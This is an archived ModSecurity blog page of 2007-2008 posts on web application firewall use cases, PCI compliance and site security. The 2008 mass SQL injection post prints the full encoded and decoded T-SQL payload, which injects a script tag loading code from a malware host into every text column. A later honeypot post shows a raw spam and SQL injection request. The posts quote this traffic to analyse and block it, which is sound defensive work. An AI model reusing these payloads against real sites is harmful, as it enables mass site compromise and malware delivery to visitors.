This blog has moved! Please update your
bookmarks to http://www.blog.modsecurity.org.

Web Application Monitoring Data Model

Posted by ivanr on March 27, 2008.

A data model is the foundation of web application monitoring and, thus, key to successful utilisation of web application firewalls. We don't get to design the model; we can only deduct it from the information provided to us from the underlying technology. What we can do is build on it, and, for that reason, it is very important to understand what we have to work with.

An ideal model is one that helps structure the information available to us, allows us to enrich it with additional pieces of data and generally helps us raise events based on the information it contains.

The major parts of a web application monitoring data model are as follows:

Most of the components are easy to construct, mapping from the structures used in programming, but there are a few places where the technology does not support the view, or where what we are given is not what we want to see:

Note: This post is part of the Web Application Firewall Concepts series.

Posted by ivanr at 12:10 PM

Web Application Firewall Use Case: Continuous Security Assessment

Posted by ivanr on March 19, 2008.

After some deliberation, I have decided to add Continuous security assessment as a standalone item on my web application firewall use cases list. Although some could argue the functionality is already covered in the Web intrusion detection and prevention section, it is not obvious—you have to understand this field in order to know it is there.

Continuous security assessment is not specific to web application firewalls—it's been used for the network layer for years—but web application firewalls are more useful for web applications (than IDS tools are for network applications), simply because there's essentially one data format to analyse (if you can call a bunch of loosely related specifications used by web applications "one" data format). With web applications, you get to see clear picture of application input and output. Therefore, with proper parsing and analysis in place, it's almost like having a direct communication channel with the application itself.

The focus here is not on the attacks and other suspicious client behaviour, which comes out of the stock IDS/IPS functionality, but on everything else:

and so on. The advantage is that you can detect some very subtle issues, only possible because of the depth of analysis.

Just as an extreme example, there are quite a few web applications out there where SQL injection (less often) and XSS (surprisingly common) exist by design—their clients are allowed and expected to send such low-level stuff and have it executed by the server. These types of problem can be detected early and with little effort, and because assessment never stops, you get the alert as soon as they are manifested.

Note: This post is part of the Web Application Firewall Concepts series.

Posted by ivanr at 02:42 PM

Web Application Firewall Use Cases

Posted by ivanr on March 10, 2008.

There are many reasons to use a web application firewall. Most people tend to focus on prevention and blocking when the term is brought up, but that is just one of the possible uses. Three years ago, almost to the day, I wrote this post to argue how one needs a WAF to serve as a part of the overall defence strategy. My opinion remains unchanged today, but I have since expanded the list of use cases for web application firewalls. Here they are:

  1. Web intrusion detection and prevention. Applying the principles of external traffic monitoring (IDS) and prevention (IPS) to HTTP and the related technologies, which are used to build web applications. Through your WAF you will look for signs of generic web application attacks (negative security model), or deploy a learning engine to construct a model of your site and reject all invalid traffic, not just attacks (also known as positive security model).
  2. Continuous security assessment. The idea with this case is to emphasize the fact web application firewalls actually understand web applications pretty well. Armed with this knowledge, they can do more than detect attacks; they can observe from signs of weaknesses, information leaks, configuration errors, and similar problems before an attempt to exploit them is made.
  3. Virtual (or just-in-time) patching. When you need to deal with a specific problem in your web site, which exists either in your code or in the code of the product you are relying on. The focus in this use case is on writing custom rules to deal with custom issues.
  4. HTTP traffic logging and monitoring. Do you know what is actually going on in your web applications? Who are your users and how are they using your systems? Are you being attacked and how?
  5. Network building blocks. This use case is not often a primary motivator for WAF deployment, but if you're already deploying a reverse proxy to serve as a HTTP switch/router, making the device security-aware is the way to go.
  6. Web application hardening. If you deploy your WAF as a reverse proxy then you can get it to modify the traffic stream to fix some of the design faults of your application or the HTTP protocol.

I will expand on each use case in my future posts.

Note: This post is part of the Web Application Firewall Concepts series.

Posted by ivanr at 04:20 PM

Web Application Firewall Concepts

Posted by ivanr on March 10, 2008.

I went through all my ModSecurity Blog posts yesterday, partly to admire myself for blogging consistently for almost 5 years and partly to understand what is that I talked about during this time. While I knew that most of my posts were pretty technical (after all, I did start my new blog to focus on other things) imagine my surprise when I realised I didn't properly cover the one thing this blog is supposed to cover: web application firewalls! The emphasize is on the word "properly": I provided a great deal of technical information but not enough content that would explain why one would deploy a web application firewall and how. This stuff had went into my conference talks and the Web Application Firewall Evaluation Criteria project, but I forgot to discuss the topics here.

In an effort to fix this I am starting a series of blog posts called Web Application Firewall Concepts. Each post will be reasonably brief and cover one aspect of the technology, and I will continually update this post to serve as a table of contents.

Posts in this series:

  1. Use Cases
    1. Web intrusion detection and prevention
    2. Continuous Security Assessment
    3. Virtual (or just-in-time) patching
    4. HTTP traffic logging and monitoring
    5. Network building blocks
    6. Web application hardening
  2. Deployment models
    1. Inline
    2. Out of line
    3. Embedded
  3. Data Model
    1. Model construction
    2. Persisting information across requests
    3. Distinguishing sessions
    4. Distinguishing users
  4. Analysis Model
    1. Negative security
    2. Positive security
    3. Anomaly scoring
    4. Learning
    5. Evasion
    6. Impedance mismatch
  5. Traffic logging
  6. Special protection techniques
    1. Cookie protection
    2. Cross-Site Request Forgery
    3. Brute force attacks
    4. Denial of Service attacks
    5. PDF UXSS protection

Posted by ivanr at 03:38 PM

Web Hacking Incidents Database Annual Report for 2007

Posted by ofer on February 17, 2008.

Breach Labs which sponsors WHID has issued an analysis of the Web Hacking landscape in 2007 based on the incidents recorded at WHID. It took some time as we added the new attributes introduced lately to all 2007 incidents and mined the data to find the juicy stuff:

To be able to answer those questions, WHID tracks the following key attributes for each incident:

Key findings were: The full report can be found at Breach Security Network.

Posted by ofer at 10:11 PM

Tangible ROI of a Web Application Firewall (WAF)

Posted by rcbarnett on February 01, 2008.

One of the challenges facing organizations that need to increase the security of their web applications is to concretely provide appropriate "Return On Investment" (ROI) for procurement justification. Organizations can only allocate a finite amount of budget towards security efforts therefore security managers need to be able to justify any commercial services, tools and appliances they want to deploy. As most people who have worked in information security for an extended period of time know, producing tangible ROI for security efforts that address business driver needs is both quite challenging and critically important.

The challenge for security managers is to not focus on the technical intricacies of the latest complex web application vulnerability or attack. C-level Executives do not have the time, and in most instances the desire, to know the nuances of an HTTP Request Smuggling attack. That is what they are paying you for! Security managers need to function as a type of liaison where they can take data from the Subject Matter Experts (SMEs) and then translate that into a business value that is important to the C-level Executive.

One, almost guaranteed, pain point to most executives are vulnerability scan reports that are presented by auditors. The auditors are usually being brought in from and reporting to a higher-level third party (be it OMB in the Government or PCI for Retail). Executives like to see "clean vulnerability scan reports." While this will certainly not guarantee that your web application is 100% secure, it can certainly help to prove the counter-argument. And to make matters worse, nothing is more frustrating to upper Management than auditor reports list repeat vulnerabilities that either never go away or pull the "Houdini" trick (they disappear for awhile only to suddenly reappear). Sidebar - see Jeremiah Grossman's Blog post for examples of this phenomenon. These situations are usually attributed to breakdowns in the Software Development Life Cycle (SDLC) where code updates are too time consuming or the change control processes are poor.

This is one of the best examples of where a Web Application Firewall can prove its ROI.

At Breach Security, we receive many inbound calls from prospects who are interested in WAF technology but are lacking that "Big Stick" that helps convince upper management to actually make the purchase. The best scenario we have found is to suggest a "Before and After" comparison of a vulnerability scan report while they are testing the WAF on their network. The idea is to deploy the WAF in block mode and then initiate a rescan of a protected site. The difference in the reduction of findings is an immediate, quantitative ROI.

Here is a real example. One of our current customers followed this exact roadmap and this is a summary (slightly edited to remove sensitive information) of the information they sent back to us:

Our WAF is installed and running. I have tested its impact on www.example.com and it is operating very admirably. This morning I had the vulnerability scanning team run an on-demand scan to test the efficacy of the appliance, and I was very impressed with the results. Our previous metrics for www.example.com in the last scan were 64 vulnerabilities, across all outside IP addresses (including www.example.com, example2.com, example3.com, etc.) and with the Breach appliance in place, the metric from today's scan was 5 vulnerabilities, with details:

- High vulnerabilities dropped from 38 to 0
- Medium vulnerabilities dropped from 12 to 0
- 1 low vulnerability remains due to simply running a web server (we will eliminate this via exception)
- 1 low vulnerability due to a file/folder naming convention that is typical and attracts unwanted attacks (will be eliminated via rule addition)

Bear in mind that I have applied the appliance with a basic (almost strictly out-of-the-box) configuration and ruleset to protect only www.example.com (192.168.1.100 in the report), and the 35 warnings that remain are for the other websites, and would similarly disappear when protected by the appliance. In my opinion, this was a very successful test that indicates the effectiveness of the appliance.

So, looking at the report after the WAF was in place, the www.example.com web site removed 38 high and 12 medium vulnerabilities and left only 2 low ones (which are really just informational notices). That is pretty darn good and that was just with the default, generic detection ModSecurity rule set! Hopefully this information has helped to provide a possible use-case testing scenario to show tangible ROI of a WAF.

In a future post, I will discuss how custom WAF rule sets can be implemented to address more complex vulnerability issues identified not by a scanner but by actual people who have performed a web assessment/pentest.

Posted by rcbarnett at 05:06 PM

Is Your Website Secure? Prove It.

Posted by rcbarnett on January 30, 2008.

The recent Geeks.com compromise and subsequent articles have created a perfect storm of discussion topics and concerns related to web security. The underlying theme is that true web security encompasses much more than a Nessus scan from an external company.

The concepts (and much of the text) in this post are taken directly from a blog post by Richard Bejtlich on his TaoSecurity site. I have simply tailored the concepts specifically to web security. Thanks goes to Richard for always posting thought provoking items and making me look at web security through a different set of eyes. You know what they say about imitation ;)

The title of this post form the core of most of my recent thinking on web application security. Since I work for a commercial web application firewall company and am the ModSecurity Community Manager, I often get the chance to talk with people about web application security. While I am not a "sales" guy, I do hang out at our vendor booth when we are at conferences. I am mainly there to field technical questions and just interact with people. I have found that the title of this post is actually one of the absolute best questions to ask someone when they first come up to our booth. It always sparks interesting conversation and can shed light onto specific areas of strength and weakness.

What does it mean to be secure?

Obviously having logos posted on a web site that tout "we are secure" is really just a marketing tactic aimed to re-assure potential customer that it is safe to purchase goods at their site. The reality is that these logos are non-reliable and make no guarantee as to the real level of security offered by the web site. At best, they are an indication that the web site has met some sort of minimum standard. But that is a far cry from actually being secure.

Let me expand "secure" to mean the definition Richard provided in his first book: Security is the process of maintaining an acceptable level of perceived risk. He defined risk as the probability of suffering harm or loss. You could expand my six word question into are you operating a process that maintains an acceptable level of perceived risk for your web application?

Let's review some of the answers you might hear to this question. I'll give an opinion regarding the utility of the answer as well. For the purpose of this exercise let's assume it is possible to answer "yes" to this question. In other words, we just don't answer "no." We could all make arguments as to why it's impossible to be secure, but does that really mean there is no acceptable level of perceived risk in which you could operate? I doubt it. Let's take a look at the varios levels of responses.

So, is your website secure? Prove it.

1. Yes.

Then, crickets (i.e., silence for you non-imaginative folks.) This is completely unacceptable. The failure to provide any kind of proof is security by belief. We want security by fact. Think of it this way, would auditors accept this answer? Could you pass a PCI Audit by simply responding yeah, we are secure. Nope, you need to provide evidence.

2. Yes, we have product X, Y, Z, etc. deployed.

This is better, but it's another expression of belief and not fact. The only fact here is that technologies can be abused, subverted, and broken. Technologies can be simultaneously effective against one attack model and completely worthless against another.

This also reminds me of another common response I hear and that is - yes, we are secure because we use SSL. Ugh... Let me share with you one personal experience that I had with an "SSL Secured" website. Awhile back, I decided to make an online purchase of some herbal packs that can be heated in the microwave and used to treat sore muscles. When I visited the manufacturer's web site, I was dutifully greeted with a message "We are a secure web site! We use 128-bit SSL Encryption." This was reassuring as I obviously did not want to send my credit card number to them in clear text. During my checkout process, I decided to verify some general SSL info about the connection. I double-clicked on the "lock" in the lower-right hand corner of my web browser and verified that the domain name associated with the SSL certificate matched the URL domain that I was visiting, that it was signed by a reputable Certificate Authority such as VeriSign, and, finally, that the certificate was still valid. Everything seemed in order so I proceeded with the checkout process and entered my credit card data. I hit the submit button and was then presented with a message that made my stomach tighten up. The message is displayed next; however, I have edited some of the information to obscure both the company and my credit card data.

The following email message was sent:

To:companyname@aol.com
From: RCBarnett@email.com
Subject:ONLINE HERBPACK!!!
name: Ryan Barnett
address: 1234 Someplace Ct.
city: Someplace
state: State
zip: 12345
phone#:
Type of card: American Express
name on card: Ryan Barnett
card number: 123456789012345
expiration date: 11/05
number of basics:
Number of eyepillows:
Number of neckrings: 1
number of belted: 1
number of jumbo packs:
number of foot warmers: 1
number of knee wraps:
number of wrist wraps:
number of keyboard packs:
number of shoulder wrap-s:
number of cool downz:
number of hats-black:         number of hats-gray:
number of hats-navy:         number of hats-red:
number of hats-rtcamo:         number of hats-orange:
do you want it shipped to a friend:
name:
their address:
their city:
their state:
their zip:
  
cgiemail 1.6

I could not believe it. It looked as though they had sent out my credit card data in clear-text to an AOL email account. How could this be? They were obviously technically savvy enough to understand the need to use SSL encryption when clients submitted their data to their web site. How could they then not provide the same due diligence on the back-end of the process?

I was hoping that I was somehow mistaken. I saw a banner message at the end of the screen that indicated that the application used to process this order was called "cgiemail 1.6." I therefore hopped on Google and tried to track down the details of this application. I found a hit in Google that linked to the cgiemail webmaster guide. I quickly reviewed the contents and found what I was looking for in the "What security issues are there?" section:

Interception of network data sent from browser to server or vice versa via network eavesdropping. Eavesdroppers can operate from any point on the pathway between browser and server.

Risk: With cgiemail as with any form-to-mail program, eavesdroppers can also operate on any point on the pathway between the web server and the end reader of the mail. Since there is no encryption built into cgiemail, it is not recommended for confidential information such as credit card numbers.

Shoot, just as I suspected. I then spent the rest of the day contacting my credit card company about possible information disclosure and to place a watch on my account. I also contacted the company by sending an email to the same AOL address outlining the security issues that they needed to deal with. To summarize this story: Use of SSL does not a "secure site" make.

3. Yes, we are PCI compliant.

Generally speaking, regulatory compliance is usually a check-box paperwork exercise whose controls lag attack models of the day by one to five years, if not more. PCI is somewhat of an exception as it attempts to be more operationally relevant and address more current web application security issues. While there are some admirable aspects of PCI, please keep this mantra in mind -

It is much easier to pass a PCI audit if you are secure than to be secure because you pass a PCI audit.

PCI, like most other regulations, are a minimum standard of due care and passing the audit does make your site "unhackable." A compliant enterprise is like feeling an ocean liner is secure because it left dry dock with life boats and jackets. If regulatory compliance is more than a paperwork self-survey, we approach the realm of real of evidence. However, I have not seen any compliance assessments which measure anything of operational relevance. Check out Richard's Blog posts on Control-Compliant security for more details on this concept and why it is inadequate. What we really need is more of a "Field-Assessed" mode of evaluation. I will discuss this concept more in depth in future Blog posts.

4. Yes, we have logs indicating we prevented web attacks X, Y, and Z (SQL Injection, XSS, etc...).

This is getting close to the right answer, but it's still inadequate. For the first time we have some real evidence (logs) but these will probably not provide the whole picture. I believe that how people deploy and use a WAF is critical. Most people deploy a WAF in an "alert-centric" configuration which will only provide logs when a rule matches. Sure, these alert logs indicate what was identified and potentially stopped, but what about activities that were allowed? Were they all normal, or were some malicious but unrecognized by the preventative mechanism? Deploying a WAF as an HTTP level auditing device is a highly under-utilized deployment option. There is a great old quote that sums up this concept -

"In an incident, if you don't have good logs (i.e. auditing), you'd better have good luck."

5. Yes, we do not have any indications that our web applications are acting outside their expected usage patterns.

Some would call this rationale the definition of security. Whether or not this answer is acceptable depends on the nature of the indications. If you have no indications because you are not monitoring anything, then this excuse is hollow. If you have no indications and you comprehensively track the state of a web application, then we are making real progress. That leads to the penultimate answer, which is very close to ideal.

6. Yes, we do not have any indications that our web applications are acting outside their expected usage patterns, and we thoroughly collect, analyze, and escalate a variety of network-, host-, and web application-based evidence for signs of violations.

This is really close to the correct answer. The absence of indications of intrusion is only significant if you have some assurance that you've properly instrumented and understood the web application. You must have trustworthy monitoring systems in order to trust that a web application is "secure." The lack of robust audit logs is usually the reason why organizations can not provide this answer. Put it this way, Common Log Format (CLF) logs are not adequate for full web based incident responst. Too much data is missing. If this is really close, why isn't it correct?

7. Yes, we do not have any indications that our web applications are acting outside their expected usage patterns, and we thoroughly collect, analyze, and escalate a variety of network-, host-, and web application-based evidence for signs of violations. We regularly test our detection and response people, processes, and tools against external adversary simulations that match or exceed the capabilities and intentions of the parties attacking our enterprise (i.e., the threat).

Here you see the reason why number 6 was insufficient. If you assumed that number 6 was OK, you forgot to ensure that your operations were up to the task of detecting and responding to intrusions. Periodically you must benchmark your perceived effectiveness against a neutral third party in an operational exercise (a "red team" event). A final assumption inherent in all seven answers is that you know the assets you are trying to secure, which is no mean feat. Think of this practical exercise, if you run a zero-knowledge (meaning un-announced to operations staff) web application penetration test, how does your organization respond? Do they even notice the penetration attempts? Do they report it through the proper escalation procedures? How long does it take before additional preventative measures are employed? Without answers to this type of "live" simulation, you will never truly know if your monitoring and defensive mechanisms are working.

Conclusion

Indirectly, this post also explains why only doing one of the following: web vulnerability scanning, penetration testing, deploying a web application firewall and log analysis does not adequately ensure "security." While each of these tasks excel in some areas and aid in the overall security of a website, they are each also ineffective in other areas. It is the overall coordination of these efforts that will provide organizations with, as Richard would say, a truly "defensible web application."

Posted by rcbarnett at 12:45 PM

Yes, the Tide for Web Application Firewalls is Turning

Posted by ivanr on January 22, 2008.

Some time ago I decided to start a new blog, a place where I would be able to address the topics that are not ModSecurity specific. I felt the ModSecurity Blog has its purpose and a happy audience; I didn't want for it to lose the focus. Today I made my first proper post at this new blog:

"There is a long-running tradition in the web application firewall space; every year we say: "This year is going to be the one when web application firewalls take off!" So far, every year turned out to be a bit of a disappointment in this respect. This year feels different, and I am not saying this because it's a tradition to do so. Recent months have seen a steady and significant rise in the interest in and the recognition of web application firewalls. But why is it taking so long?

To read more please continue to "Tide is turning for web application firewalls".

Posted by ivanr at 10:45 AM

SQL Injection Attack Infects Thousands of Websites

Posted by rcbarnett on January 08, 2008.

Here is a snippet from the just released SANS NewsBites letter:

"TOP OF THE NEWS --SQL Injection Attack Infects Thousands of Websites (January 7 & 8, 2008) At least 70,000 websites have fallen prey to an automated SQL injection attack that exploits several vulnerabilities, including the Microsoft Data Access Components (MDAC) flaw that Microsoft patched in April 2006. Users have been redirected to another domain [u c 8 0 1 0 . c o m], that attempted to infect users' computers with keystroke loggers. Many of the sites have since been scrubbed. The attack is similar to one launched last year against the Miami Dolphins' Stadium website just prior to the Super Bowl."

Additional coverage is available from several places:

So, there is a new, nasty bot on the loose that is targeting websites that use IIS/MS-SQL DB. It is exploiting non-specific SQL Injection vulnerabilities that exist in websites to inject malicious JavaScript into all fields. Once it gets the victims to the web site it will try and exploit various known browser and plugin vulnerabilities. Essentially, the attack inserts <script src=http://?.uc8010.com/0.js></script> into all varchar and text fields in your SQL database.

While there has been much focus on the goal of the attack -- which is to try and exploit some browser (client) vulnerabilities to perhaps install some trojans or other malware -- not as much attention has been paid to actual attack vector that lead to the compromise: the SQL injection attack itself.

Here is an example IIS log entry of the SQL Injection attack that was posted to a user forum:

2007-12-30 18:22:46 POST /crappyoutsourcedCMS.asp;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST
(0×4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002
C0040004300200076006100720063006800610072002800320035003500290020004400450043004C004100520045002
0005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002
000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006
F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006
E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E0064002
00061002E00780074007900700065003D00270075002700200061006E0064002000280062002E0078007400790070006
5003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E007
80074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D003100360037002
90020004F00500045004E0020005400610062006C0065005F0043007500720073006F007200200046004500540043004
80020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007
200200049004E0054004F002000400054002C004000430020005700480049004C0045002800400040004600450054004
30048005F005300540041005400550053003D0030002900200042004500470049004E002000650078006500630028002
70075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B004
00043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006
800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C007300630072006900700074002
0007300720063003D0068007400740070003A002F002F0063002E007500630038003000310030002E0063006F006D002
F0030002E006A0073003E003C002F007300630072006900700074003E002700270027002900460045005400430048002
0004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F0072002
00049004E0054004F002000400054002C0040004300200045004E004400200043004C004F00530045002000540061006
2006C0065005F0043007500720073006F00720020004400450041004C004C004F0043004100540045002000540061006
2006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);–|178|80040e14|
Unclosed_quotation_mark_before_the_character_string_’G;DECLARE_@S_NVARCHAR(4000);SET_@S=CAST
(0×4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002
C00400043002000′. - 202.101.162.73 HTTP/1.0 Mozilla/3.0+(compatible;+Indy+Library)
 - 500 15248

If you decode the CAST values, here is the actual SQL that is being injected:

DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name 
from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 
or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+'
]))+''<script src=http://c.uc8010.com/0.js></script>''')FETCH NEXT FROM  
Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor DECLARE @T 
varchar(255),@C

Mitigation Options

There are many remediation steps that can and should be taken.

Immediate Fix: Use ModSecurity and the Core Rules

If these web sites were front-ended by an Apache reverse proxy server (with ModSecurity and the Core Rules) then the back-end IIS/MS SQL application servers would have been protected against this attack. The free Core Rules, which are available for download from the the ModSecurity web site, include SQL injection rules that would have identified and blocked this specific automated attack. Specifically, Rule ID 950001 in the modsecurity_crs_40_generic_attacks.conf file would have triggered on the "cast(" portion of the SQL injection string.

Mid-Term/Long-Term Fix: Correct the Code

Web Developers should identify and correct any Input Validation errors in their code.

Posted by rcbarnett at 10:51 PM

OWASP London Chapter December 6th Presentations Now Online

Posted by ivanr on December 28, 2007.

We've had a couple of very interesting presentations on the OWASP London Chapter December 6th meeting. They are now available for download from the Chapter page or directly from here:

Getting good turnout at OWASP London meetings is traditionally difficult. There were 13 people attending the meeting in September (the first meeting I organised) with 18 people showing up in December. (Is this a positive trend? Probably too early to tell.) Some other Chapters don't seem to have problems with low attendance (for example those in Belgium, Israel, New York, to name a few) but having 18 people turn up -- in spite of the horrible weather we've had on the day -- is a success in London.

I am sure there is no shortage of people in London interested in computer security but finding a way to get them to attend OWASP meetings still eludes us. Adrian, one of the speakers at the most recent meeting, shares the sentiment in his blog post. So does Daniel, who had started the Chapter and organised many of its meetings:

"Having started the OWASP London chapter and sorted a few London meetings, I can tell you it's a damn hard job. The problem with London is that everyone is busy, and after a long day you often feel like going home and relaxing with the family/wife/girlfriend/boyfriend etc. It sucks, I wish it was more like the US side of things, but it's a price you pay for being in such an aggressive market."

I am sure of a few things, though: hard work and persistence are the essential ingredients. Our biggest problem, however, may be with the lack of proper marketing. I am guessing most of the people who would be interested in attending have no idea about the meetings at all. Oh, well. One more thing to add to my to-do list!

Posted by ivanr at 02:01 PM

PCI Requirement 6.6 Is About Remediation

Posted by rcbarnett on December 17, 2007.

There have been many heated debates in web security circles around the wording of the PCI 1.1 Requirement 6.6 section and it all centers around the semantics of the word "either". The Requirement 6.6 states the following:

"6.6 Ensure that all web-facing applications are protected against known attacks by applying either of the following methods:
  • Having all custom application code reviewed for common vulnerabilities by an organization that specializes in application security
  • Installing an application layer firewall in front of web-facing applications.

Note: This method is considered a best practice until June 30, 2008, after which it becomes a requirement."

The word either in this context indirectly implies that these two option are functionally equivalent and therefore the user could choose either one and receive the same level of security benefit. Well, as you might guess, this sparked a vast amount of debate from webappsec folks as to the amount of security protection that is gained from a source code review vs. using a web application firewall. To make the waters even murkier, you even had web vulnerability scanner/service vendors asking the PCI counsel if users could run these tools vs. conducting an actual source code review. So now users who were attempting to become compliance with PCI section 6.6 weren't sure what they needed to do or what tool or process was the "best" approach...

I believe that an important issue that is being forgotten when people think of "source code review" is that the actual review is only one portion of the overall process. Most people do not factor in the remediation portion of the process. I could probably be convinced that a manual source code review vs. review with a source code analysis tool vs. running web vuln scanner could yield roughly similar results - they identify what the problems are. What about fixing them?

This is the core issue in 6.6 - to implement some sort of remediation to prevent successful web attacks. Why do I believe this? Well, if you refer to the PCI DSS Security Audit Procedures document it outlines how a PCI auditor will evalute each requirement to confirm whether or not the organization is in compliance. Section 6.6 - Testing Procedures - states the following:

"6.6 For web-based applications, ensure that one of the following methods are in place as follows:
  • Verify that custom application code is periodically reviewed by an organization that specializes in application security; that all coding vulnerabilities were corrected; and that the application was re-evaluated after the corrections"

As you can see, the goal of this section is to show that not only were vulnerabilities identified but that they were also fixed. So whether or not the vulnerabilities were identified by source code review or a scanner does not seem to be the main issue from PCI but rather was the vulnerability actually fixed??? It is the process of actually remediating the vulnerabilities that is taking entirely too long for organizations, if it happens at all. I mean, how many times does an Authorized Scanning Vendor (ASV) find the exact same vulns showing up in scan after scan? They are quickly showing the customer what/where the problems are but they just can't fix them for a variety of reasons:

Whatever the reason, current SDLC processes for quickly fixing vulnerabilities found in production are lacking. This brings us to the web application firewall. If you look at the 2nd party of the 6.6 testing procedures, it states this for WAFs –

"Verify that an application-layer firewall is in place in front of web-facing applications to detect and prevent web-based attacks."

Notice that the WAF has to be in block mode! This again, supports the idea of remediation. So, just because an organization deploys a WAF is not enough to comply with requirement 6.6. You need to be blocking attacks (mainly SQL Injection and XSS as they are the only 2 that are considered HIGH severity). It is for these reasons that I believe that the "intent" of 6.6 is geared towards remediation efforts and not just identification tasks.

Posted by rcbarnett at 05:30 PM

WASC Distributed Open Proxy Honeypot: Blind SQL Injection Attempt (Update)

Posted by rcbarnett on November 06, 2007.

As some of you may know, I am heading up the WASC Distributed Open Proxy Honeypot Project. The project architecture includes having participants deploy VMware images of a specially configured Apache server (functioning as an open proxy) along with ModSecurity. When the honeypot identifies an attack, it blocks it and then sends back the attack data to a central log server. This gives us a pretty unique view of the types of attacks that happening out on the web as most bad guys are using these types of open proxies to funnel their attacks through to try and hide their true origins.

We recently (Oct 2007) deployed phase II of the project and now have many more sensors online. As you might expect, we are getting some interesting traffic :) With this in mind, I am going to be periodically posting attack data that we identify with the honeypots and provide a sort of web attack "Chalk Talk" breakdown of what is happening. For those of you aren't familiar with the "Chalk Talk" term, it is commonly used by sports commentators in the United States when discussing American Football. The sports analysts breakdown the schemes used by offenses and defenses to show spectators the details of what is happening.

With this in mind, here is the 1st installment - Blind SQL Injection.

A client sent the following request (bolded portions are of interest):

GET http://www.mehdiplugins.com/misc/phpbbjoomhack.htm?textfield=Your%20site%20was%20so%20interesting
%20and%20informative%20I%20had%20to%20call%20a%20friend%20to%20tell%20her%20about%20it%2E%20Great
%20work%0D%0A%20%3Ca%20href%3Dhttp%3A%2F%2Fnwhjl%2Efree%2Dsite%2Dhost%2Ecom%2Fmap4%2Ehtml%20%3E%20
My%20Best%20Links%20%3C%2Fa%3E%20%20%3Ca%20href%3Dhttp%3A%2F%2Fnwhjl%2Efree%2Dsite%2Dhost%2Ecom%2F
map2%2Ehtml%20%3E%20top%20links%20%3C%2Fa%3E%20%20%3Ca%20href%3Dhttp%3A%2F%2Fahsjh%2Efreephpwebhosting
%2Enet%2Fmap8%2Ehtml%20%3E%20favourite%20links%20%3C%2Fa%3E%20%20%3Ca%20href%3Dhttp%3A%2F%2Fahsjh
%2Efreephpwebhosting%2Enet%2Fmap7%2Ehtml%20%3E%20Links%20%3C%2Fa%3E%20%0D%0A%20%5Burl%3Dhttp%3A%2F
%2Fmembers%2Elycos%2Eco%2Euk%2Fdfska%2Fmap3%2Ehtml%5D%20top%20links%20%5B%2Furl%5D%20%20%5Burl%3D
http%3A%2F%2Fkersnm%2Eawesomewebspace%2Ecom%2Fmap3%2Ehtml%5D%20best%20links%20%5B%2Furl%5D%20%20%5B
url%3Dhttp%3A%2F%2Fnwhjl%2Efree%2Dsite%2Dhost%2Ecom%2Fmap5%2Ehtml%5D%20My%20Links%20%5B%2Furl%5D%20
%20%5Burl%3Dhttp%3A%2F%2Fnwhjl%2Efree%2Dsite%2Dhost%2Ecom%2Fmap1%2Ehtml%5D%20my%20favourite%20links
%20%5B%2Furl%5D%20%20%5Burl%3Dhttp%3A%2F%2Fkersnm%2Eawesomewebspace%2Ecom%2Fmap6%2Ehtml%5D%20Links
%20%5B%2Furl%5D%20&textfield2=Michalis&textfield3=if%28%20md5%28%24password%29%20%3D%3D%20
%24row%5B%27user%5Fpassword%27%5D%20%26%26%20%24row%5B%27user%5Factive%27%5D%20%29&textfield4
=Your%20site%20was%20so%20interesting%20and%20informative%20I%20had%20to%20call%20a%20friend%20to%20
tell%20her%20about%20it%2E%20Great%20work%0D%0A%20%3Ca%20href%3Dhttp%3A%2F%2Fnwhjl%2Efree%2Dsite%2D
host%2Ecom%2Fmap4%2Ehtml%20%3E%20My%20Best%20Links%20%3C%2Fa%3E%20%20%3Ca%20href%3Dhttp%3A%2F%2Fnwhjl
%2Efree%2Dsite%2Dhost%2Ecom%2Fmap2%2Ehtml%20%3E%20top%20links%20%3C%2Fa%3E%20%20%3Ca%20href%3Dhttp
%3A%2F%2Fahsjh%2Efreephpwebhosting%2Enet%2Fmap8%2Ehtml%20%3E%20favourite%20links%20%3C%2Fa%3E%20%20
%3Ca%20href%3Dhttp%3A%2F%2Fahsjh%2Efreephpwebhosting%2Enet%2Fmap7%2Ehtml%20%3E%20Links%20%3C%2Fa%3E
%20%0D%0A%20%5Burl%3Dhttp%3A%2F%2Fmembers%2Elycos%2Eco%2Euk%2Fdfska%2Fmap3%2Ehtml%5D%20top%20links
%20%5B%2Furl%5D%20%20%5Burl%3Dhttp%3A%2F%2Fkersnm%2Eawesomewebspace%2Ecom%2Fmap3%2Ehtml%5D%20best%20
links%20%5B%2Furl%5D%20%20%5Burl%3Dhttp%3A%2F%2Fnwhjl%2Efree%2Dsite%2Dhost%2Ecom%2Fmap5%2Ehtml%5D%20
My%20Links%20%5B%2Furl%5D%20%20%5Burl%3Dhttp%3A%2F%2Fnwhjl%2Efree%2Dsite%2Dhost%2Ecom%2Fmap1%2Ehtml
%5D%20my%20favourite%20links%20%5B%2Furl%5D%20%20%5Burl%3Dhttp%3A%2F%2Fkersnm%2Eawesomewebspace%2Ecom
%2Fmap6%2Ehtml%5D%20Links%20%5B%2Furl%5D%20&textfield32=if%28%20md5%28%24password%29%20%3D
%3D%20%24row%5B%27user%5Fpassword%27%5D%20%26%26%20%24row%5B%27user%5Factive%27%5D%20%29
